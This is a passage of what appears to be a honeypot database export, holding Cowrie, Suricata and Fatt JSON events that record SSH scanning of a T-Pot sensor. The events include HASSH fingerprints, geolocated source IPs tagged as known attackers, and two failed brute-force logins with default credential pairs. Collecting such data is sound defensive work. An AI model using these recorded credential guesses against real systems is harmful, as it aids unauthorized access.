htYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 37002, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:09:27.704703Z", "@timestamp": "2021-09-20T11:09:27.704Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...........d2*....y.I....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
24946	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:09:28.609158+03	2021-09-20 14:15:09.4585+03	{"_id": "7QblAnwBvYTbRNuEiBdW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 159.89.194.160:60438 (192.168.176.2:22) [session: 08b078f23768]", "session": "08b078f23768", "@version": "1", "protocol": "ssh", "src_port": 60438, "dest_port": 22, "timestamp": "2021-09-20T11:09:28.609158Z", "@timestamp": "2021-09-20T11:09:28.609Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24941	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:27.486864+03	2021-09-20 14:15:09.452505+03	{"_id": "0wblAnwBvYTbRNuEgxfO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44954, "timestamp": "2021-09-20T11:09:27.486864", "@timestamp": "2021-09-20T11:09:27.486Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24942	159.89.194.160	109.199.241.180	Suricata	2021-09-20 14:09:28.788777+03	2021-09-20 14:15:09.453501+03	{"_id": "4wblAnwBvYTbRNuEhheu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:09:28.432143+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.89.194.160", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 943002682431503, "payload": "AAADzAYU/IYnQc63p4/wbiXTC8aefwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60438, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:09:28.788777Z", "@timestamp": "2021-09-20T11:09:28.788Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........'A.....n%........(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
24943	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:28.769222+03	2021-09-20 14:15:09.4545+03	{"_id": "5wblAnwBvYTbRNuEhxe3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58458, "timestamp": "2021-09-20T11:09:28.769222", "@timestamp": "2021-09-20T11:09:28.769Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24944	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:09:28.4135+03	2021-09-20 14:15:09.4565+03	{"_id": "6gblAnwBvYTbRNuEhxe4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35686, "dest_port": 22, "timestamp": "2021-09-20T11:09:28.413500", "@timestamp": "2021-09-20T11:09:28.413Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24945	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:09:29.050729+03	2021-09-20 14:15:09.457497+03	{"_id": "6wblAnwBvYTbRNuEhxe4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 58458, "dest_port": 22, "timestamp": "2021-09-20T11:09:29.050729", "@timestamp": "2021-09-20T11:09:29.050Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24947	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:28.764132+03	2021-09-20 14:15:09.459503+03	{"_id": "7gblAnwBvYTbRNuEiBdW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:58458 (192.168.176.2:22) [session: 4ff9d54567d7]", "session": "4ff9d54567d7", "@version": "1", "protocol": "ssh", "src_port": 58458, "dest_port": 22, "timestamp": "2021-09-20T11:09:28.764132Z", "@timestamp": "2021-09-20T11:09:28.764Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24948	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:28.444498+03	2021-09-20 14:15:09.461471+03	{"_id": "9gblAnwBvYTbRNuEiBdW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [ebay/ebay] failed", "session": "1a63fe42fac6", "@version": "1", "password": "ebay", "username": "ebay", "timestamp": "2021-09-20T11:09:28.444498Z", "@timestamp": "2021-09-20T11:09:28.444Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24949	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:09:28.611823+03	2021-09-20 14:15:09.4625+03	{"_id": "9wblAnwBvYTbRNuEiBdW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "08b078f23768", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:09:28.611823Z", "@timestamp": "2021-09-20T11:09:28.611Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24950	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:28.747136+03	2021-09-20 14:15:09.463471+03	{"_id": "-AblAnwBvYTbRNuEiBdW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [root/pfsense] failed", "session": "684762ca9e73", "@version": "1", "password": "pfsense", "username": "root", "timestamp": "2021-09-20T11:09:28.747136Z", "@timestamp": "2021-09-20T11:09:28.747Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
